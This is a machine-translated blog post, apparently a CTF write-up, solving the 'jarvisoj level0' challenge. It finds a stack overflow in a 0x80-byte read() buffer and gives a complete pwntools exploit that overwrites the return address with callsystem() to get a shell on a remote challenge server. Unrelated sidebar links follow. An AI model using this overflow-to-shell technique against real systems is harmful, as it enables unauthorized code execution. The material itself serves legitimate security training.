当前位置:网站首页>jarvisoj_ level0
jarvisoj_ level0
2022-07-23 23:33:00 【Long street 395】
List of articles
One 、 View file information
First file ./level0 Check the file type and then checksec --file=level0 Check the file protection .

I still feel that checking the protection mechanism is gdb A little pleasing to the eye :
Information tells us that he is 64 Who can .
Two 、IDA Decompile
main The function of information :
Go here again vulnerable_function() function :
double-click vulnerable_function() The function can see buf The length of is only 0x80, The stack size is only 108 byte , however read() No input restrictions , Obviously, there is a stack overflow vulnerability .
stay Functions window You can see there's one callsystem() function , Press F5 Disassembly shows that this is a system call , And callsystem() The starting address of the function is 0x400596.

3、 ... and 、 Code construction
buf To be covered 0x80 Byte overlay , Plus rbp Of 0x8 Bytes , Then add callsystem() Starting address of the function 0x400596 constitute payload.
from pwn import *
# remote() Establish a remote connection , To specify ip and port
io = remote('node4.buuoj.cn', 28566)
payload = b'a'*(0x80 + 0x8) + p64(0x400596)
io.sendline(payload) # send data
io.interactive() # And shell Interact


边栏推荐
- [leetcode ladder] the penultimate node in the 022 linked list
- 头插法创建链表并输出所有元素
- FreeRTOS personal notes - create / delete dynamic tasks, start scheduler
- 2、 Digital logic functional unit
- iptables防止nmap扫描以及binlog
- Tap series article 7 | easy to manage pipeline configuration
- Grey correlation analysis (matlab)
- DGS的错误处理
- No wonder the application effect of ERP in domestic enterprises is generally not ideal
- 正则表达式及绕过案例
猜你喜欢

strncat() strncmp()
![[redis] redis installation and client redis cli use (batch operation)](/img/d7/7500e99bc3cf172f895a47aec0b44c.png)
[redis] redis installation and client redis cli use (batch operation)
![48: Chapter 5: develop admin management service: 1: create sub project [imooc news dev Service Admin], management service module;](/img/c5/dfdabdd8181e9e6118dbf968e3e19f.png)
48: Chapter 5: develop admin management service: 1: create sub project [imooc news dev Service Admin], management service module;

BGP选路,MPLS

DGS之Mutations

1000个Okaleido Tiger首发上线Binance NFT,引发抢购热潮

Principal component analysis (matlab)

Kirin OS and Godson environment compilation and installation of greatsql

BGP routing, MPLS

Tap series article 4 | backstage based tap developer portal
随机推荐
Principal component analysis (matlab)
Mongodb database + graphical tools download, installation and use
Analysis of video capability and future development trend based on NVR Technology
Smart IOT source code with configuration IOT source code industrial IOT source code: support sensor analysis services, real-time data collection and remote control
The canfd/can interface offline burning operation instructions of h7-tool have been updated (2022-07-12)
[web vulnerability exploration] SQL injection vulnerability
Brief analysis of compiling principle of.Net CLR R2R
Mobile, telecom and Unicom: fancy solution of 5g to B
Three network modes of VMware virtual machine
2、 Digital logic functional unit
PHP(2)
[OGeek2019]babyrop
solo 文章正文含有 <> 标签会影响到页面样式
ciscn_2019_n_8
Redis pipeline technology / partition
树形DP
二,数字逻辑功能单元
Use of pairwise
EasyNVR平台如何关闭匿名登录?
Can Intel NUC replace the host_ It's finally perfect! The latest Intel NUC Mini host comes online